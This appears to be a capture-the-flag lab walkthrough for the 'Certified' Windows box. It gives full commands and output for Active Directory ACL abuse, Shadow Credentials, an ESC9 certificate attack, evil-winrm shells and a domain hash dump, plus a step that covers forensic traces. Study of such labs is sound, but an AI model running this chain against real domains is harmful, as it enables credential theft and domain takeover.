As is common in Windows pentests, you will start the Certified box with credentials for the following account: judith.mader/judith09
IP Address: 10.10.11.41
Key Exploitation Techniques:
- Active Directory Certificate Services (AD CS) ESC9 (NoEKU) vulnerability
- Active Directory ACL enumeration and abuse (
WriteOwner,GenericWrite) - BloodHound for Active Directory attack path mapping
- Certificate-based authentication for domain compromise
- Password reset via
net rpc
Enumeration#
An nmap scan identified standard Active Directory services (DNS, Kerberos, LDAP, SMB, WSMAN) and confirmed the domain certified.htb.
$ nmap -p- --min-rate 10000 10.10.11.41
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49666/tcp open unknown
49668/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49683/tcp open unknown
49716/tcp open unknown
49740/tcp open unknown
49775/tcp open unknown
$ nmap -p 53,88,135,139,445,464,593,636,3268,3269,5985,9389,49666,49668,49673,49674,49683,49716,49740,49775 -sC -sV 10.10.11.41
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
...
445/tcp open microsoft-ds?
...
5985/tcp open wsman
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
|_ Message signing enabled and required
The domain certified.htb and its Domain Controller DC01.certified.htb were added to /etc/hosts.
$ echo -e '10.10.11.41\tcertified.htb dc01.certified.htb' | sudo tee -a /etc/hosts
nxc smb was used to enumerate domain users and confirm judith.mader’s credentials.
$ nxc smb certified.htb -u "judith.mader" -p "judith09" --rid-brute | grep SidTypeUser | awk '{print $6}'
CERTIFIED\Administrator
CERTIFIED\judith.mader
CERTIFIED\management_svc
CERTIFIED\ca_operator
# ... (truncated)
BloodHound data was collected using bloodhound-python for comprehensive Active Directory analysis. Time synchronization was done to prevent Kerberos issues.
$ sudo ntpdate certified.htb # Sync time to DC
$ /usr/bin/bloodhound-python -u judith.mader -p 'judith09' -c All -d certified.htb -ns 10.10.11.41
# Output saved to a .zip file for BloodHound GUI.
Exploitation#
BloodHound showed a critical ACL chain:
judith.maderhadWriteOwnerpermissions over theMANAGEMENTgroup.- The
MANAGEMENTgroup hadGenericWritepermissions over themanagement_svcaccount.

Exploiting ACLs: WriteOwner to GenericWrite#
The WriteOwner permission on the MANAGEMENT group allowed judith.mader to take ownership of the group.
$ sudo impacket-owneredit -action write -new-owner 'judith.mader' -target 'MANAGEMENT' 'certified.htb'/'judith.mader':'judith09'
[*] OwnerSid modified successfully!
As the new owner, judith.mader could then modify the MANAGEMENT group’s DACL to grant herself WriteMembers permissions. This allowed her to add herself to the MANAGEMENT group.
$ sudo impacket-dacledit 'certified.htb'/'judith.mader':'judith09' -action write -rights WriteMembers -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB'
[*] DACL modified successfully!
Finally, judith.mader added herself to the MANAGEMENT group using net rpc.
$ net rpc group addmem Management 'judith.mader' -U 'certified.htb'/'judith.mader'%'judith09' -S 'DC01.certified.htb'
Now, as a member of MANAGEMENT, judith.mader inherited GenericWrite permissions over the management_svc account.
Lateral Movement: Targeted Kerberoasting & Shadow Credentials#
With GenericWrite on management_svc, its properties could be modified. Allowed Targeted Kerberoasting and ultimately Shadow Credentials exploitation to gain access to management_svc.
Targeted Kerberoasting (Attempted)#
The initial attempt involved targeted Kerberoasting of the management_svc account. This aims to retrieve its service principal name (SPN) hash, which could then be cracked offline.
$ python3 targetedKerberoast.py -v -d 'certified.htb' -u 'judith.mader' -p 'judith09'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (management_svc)
$krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$8e864632eac7f05ffebb06a69eadbf64$c4586d04fbcc532de0d7c2fe268e9b57a59506b20843d2b9647d803151efec43fa487dc93981002a4e09bf8b63fe728a77efd8622235e7d025be449a13e53905ecc23f89dd067e3f930610a1c0be4a32e8966623d12b18183900be2f69c8d3ca7d05ede0c29c1c2d28837d83c9ecead31af96426a3b064199e1f525d76282bee9f1d01b3f28472f2c283e9c4a433fe61909c0bd2449f9f349accf1663a0078ac2cbf62f9f7af1145f06b7081e7852ef615b657db5a229e3c61ace079ec4802de3913a19cb5002bad6a10c180deff5959afd2d69b9d7f09b73a764526723d2240702aa998346f1326f959802519a5171ed37cdee97e9ee2a9fcf47438545d7c7ef57e346d7c8e8256f37bbaeb69a9dd49ffa711b8254a5c1bfae0e82a1628411b48d70d5509e74043477b0d864a4af234bfb5f663a19da142e96f3a495019924665986e3b40ac012183f53e18b2475eee83b884e669fbfcb2fe36b8234997eb1abe8621b2581c8470de7eb87d02256c9bbaad51a399454722584776f61054c73ffaa855c414ec29c41491cf9f97c85719d4671d82c12bbdaaa7295dedf9d71b78a5a5403eded6091098b34b227b9c2f24cf608935740573e46add9776153f8efc3f90ea37c8a9ee386470d722e718e0e6b67766945b432f0defcd86cab4a502d9b576a773418274aa622cad8f53aedb2a4fee823d1811d8fa611f6a70d0c5a7ec88e5ac6b99dab823fec1a17ed0bd48c0099180979b48280b0a5def65da751d8a3171249e76115a082c1fefcd1d6b9327b054c4cfb00d050e745576ffa650e1ab33323102ba84da89007a38c8c63c7f55c20c8f31a879989c64bf6781d60c2ab62e71e5f1cf6db4eb18db34c820c0cad9d3fcb548f95fc8e3a7c54f52733fe56b2bed64229d05700dde34cb744e6c34857b9451503e17754011b11211c32b8fcefc738353e4dad449b264cd9950f5999da2428c8a2c10d10b99cfb3838b8e81265aafe6f10c9e01aa4c2c5d3c0e3e67631ae441bd7f297c35a3e7a71e0e80dc4e1b4d85ed6a748e865e1c20162ac66633f52be6da389787e405f587c63de5a5e8ef3bf9eb368823cda644d35f55e41b3accea4aea966ac7f1a84fc33c7e7c15f714a5ddca376374b6cad00be4d21df92289ad961ab13e0b00647302e3e959200e7b785a593dc672c85dc6d97deec843f07febdc9107d584cd020d9ef144f022bf6dec61b919439a1b33315c95ec2f2ace59b1c5d77a5b667996b88442bb8800672d9b865c910a861fb9d4cff2a78547d77d38486f79cfd47a2fa505a0b6ceb8b5b8c834bb7c9b15d9ed738a741334e3a1fc0d9c23eb7f5713a6c6a5629d69f2efc3f71a16886a50f070b14a8c40617a40456cf93662336273ff32f3ed393d09eba7b0c3facd8c22d5a5fb7a93b46e41f3943a9e07d89e3dc183efd8b93a80aa435727f51e5b0cd4993e8980f8fd54da7780cf12068e8c1188e8f9adc5ad6301e95b295499bb3f3b97e76696a358fd2b1ee45b70f215e04ecd0f3314a1e94f900b481a87c25563266a56bf0ecb21f5a31ca82e58935d62efea1c83899418c4118b5146
The retrieved Kerberos hash for management_svc was uncrackable, leading to the pursuit of an alternative method.
Shadow Credentials for management_svc#
Since judith.mader had GenericWrite on management_svc, she could add Shadow Credentials to the account. This allows obtaining a Kerberos Ticket Granting Ticket (TGT) without needing the account’s password.
pywhisker was used to add a new KeyCredential to management_svc.
$ python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add"
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Generating KeyCredential with DeviceID: c1b10515-961c-9b19-edbc-d0a47fe38147
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: od0VPICw.pfx
[*] Must be used with password: wjw8w1wWwtNwIl1vkm3l
pywhisker provided the path to the generated PFX file (od0VPICw.pfx) and its password (wjw8w1wWwtNwIl1vkm3l).
This PFX was then used with gettgtpkinit.py to obtain a TGT for management_svc.
$ python3 gettgtpkinit.py certified.htb/management_svc -cert-pfx ../pywhisker/pywhisker/od0VPICw.pfx -pfx-pass wjw8w1wWwtNwIl1vkm3l management_svc.ccache
[*] Requesting TGT
[*] AS-REP encryption key (you might need this later): d71baa57dcc77aebc4a546742fa8856cc778023a3f801411cb9e9606d5287486
[*] Saved TGT to file
The TGT was saved to management_svc.ccache.
The management_svc’s NT hash was then recovered using getnthash.py with the obtained TGT and AS-REP encryption key.
$ export KRB5CCNAME=management_svc.ccache
$ python3 getnthash.py certified.htb/management_svc -key d71baa57dcc77aebc4a546742fa8856cc778023a3f801411cb9e9606d5287486
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584
The NT hash for management_svc (a091c1832bcdd4677c28b5a6a1295584) was obtained.
WinRM Access to management_svc#
The management_svc NT hash was used to establish a WinRM session.
$ evil-winrm -i certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
*Evil-WinRM* PS C:\Users\management_svc\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\management_svc\Desktop> cat user.txt
<redacted>
The user.txt flag was retrieved.
Privilege Escalation#
AD CS ESC9#
With management_svc access, another BloodHound data collection was done to identify further escalation paths, specifically focusing on Active Directory Certificate Services (AD CS).
$ /usr/bin/bloodhound-python -d certified.htb -c All -ns 10.10.11.41 --zip -u management_svc --hash :a091c1832bcdd4677c28b5a6a1295584 --use-ldap
# Output saved to a new .zip file.

BloodHound analysis revealed that management_svc had GenericAll privileges over the ca_operator account.
We can change the password for ca_operator.
We use
fffffffffffffffffffffffffffffffffor LM hash because it is not known to us.
$ pth-net rpc password "ca_operator" "P@ssw0rd" -U "certified.htb"/"management_svc"%"ffffffffffffffffffffffffffffffff":"a091c1832bcdd4677c28b5a6a1295584" -S "dc01.certified.htb"
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
We can test if the password change was successful.
$ nxc smb certified.htb -u 'ca_operator' -p 'P@ssw0rd'
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\ca_operator:P@ssw0rd
Now that we have owned ca_operator, we can try to find vulnerable AD CS configurations using certipy-ad.
$ certipy-ad find -u 'ca_operator@certified.htb' -p 'P@ssw0rd' -dc-ip 10.10.11.41 -old-bloodhound
# Output saved to a new .zip file
Drag the new Bloodhound data to the GUI and refresh the GUI to analyze the newly added AD CS data.

Unfortunately the Bloodhound version that I’m currently using can’t show what vulnerabilities we can exploit.
certipy-ad find was used to identify vulnerable certificate templates.
$ certipy-ad find -u 'ca_operator@certified.htb' -p 'P@ssw0rd' -dc-ip 10.10.11.41
...
[*] Saved text output to '20250207234935_Certipy.txt'
[*] Saved JSON output to '20250207234935_Certipy.json'
$ cat 20250207234935_Certipy.json
...
"Certificate Templates": {
"0": {
"Template Name": "CertifiedAuthentication",
"Display Name": "Certified Authentication",
# ...
"Enrollment Flag": [
"NoSecurityExtension", # Critical for ESC9
"AutoEnrollment",
"PublishToDs"
],
# ...
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"CERTIFIED.HTB\\operator ca", # 'operator ca' group can enroll
# ...
]
},
# ...
"[!] Vulnerabilities": {
"ESC9": "'CERTIFIED.HTB\\\\operator ca' can enroll and template has no security extension"
}
}
}
The CertifiedAuthentication template was identified as vulnerable to ESC9 (NoEKU). This vulnerability exists when a template has NoSecurityExtension enabled and an enrolling principal (like operator ca, a group ca_operator is likely a part of) has enrollment rights. This allows an attacker to request a certificate for any user, including high-privileged ones like Administrator, without the certificate containing the Any Purpose EKU.
Exploiting ESC9 with Shadow Credentials#
Since management_svc had GenericAll over ca_operator, Shadow Credentials were used to obtain ca_operator’s NT hash. This facilitated the subsequent certificate request.
$ certipy-ad shadow auto -username "management_svc@certified.htb" -hashes a091c1832bcdd4677c28b5a6a1295584 -account ca_operator
[*] NT hash for 'ca_operator': e19ccf75ee54e06b06a5907af13cef42
The NT hash for ca_operator (e19ccf75ee54e06b06a5907af13cef42) was retrieved.
Next, ca_operator’s userPrincipalName (UPN) was temporarily updated to Administrator using management_svc’s GenericAll rights. This is a crucial step for ESC9, as it directs the CA to issue the certificate for the Administrator account’s UPN.
$ certipy-ad account update -username "management_svc@certified.htb" -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator -debug
[*] Updating user 'ca_operator': userPrincipalName : Administrator
[*] Successfully updated 'ca_operator'
A certificate was then requested for Administrator using the ca_operator’s hash and the vulnerable CertifiedAuthentication template.
$ sudo certipy-ad req -username 'ca_operator@certified.htb' -hashes 'e19ccf75ee54e06b06a5907af13cef42' -target 'DC01.certified.htb' -ca 'certified-DC01-CA' -template CertifiedAuthentication -debug
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator'
[*] Saved certificate and private key to 'administrator.pfx'
Immediately after requesting the certificate, ca_operator’s UPN was reverted to its original value to minimize forensic footprint.
$ certipy-ad account update -username "management_svc@certified.htb" -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn "ca_operator@certified.htb"
[*] Successfully updated 'ca_operator'
Finally, the administrator.pfx certificate was used to authenticate and retrieve the Administrator’s NT hash.
$ certipy-ad auth -pfx administrator.pfx -domain "certified.htb"
[*] Using principal: administrator@certified.htb
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
The Administrator’s NTLM hash was then used to gain a root shell via evil-winrm.
$ evil-winrm -i certified.htb -u administrator -H '0d5b49608bbce1751f708748f67e2d34'
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
<redacted>
The root.txt flag was retrieved.
Alternative Post-Exploitation:
With the Administrator’s TGT (stored in
administrator.ccache), domain secrets could be dumped usingimpacket-secretsdump.$ KRB5CCNAME=administrator.ccache impacket-secretsdump -k dc01.certified.htb # This would dump all NTLM hashes and Kerberos keys from the domain controller.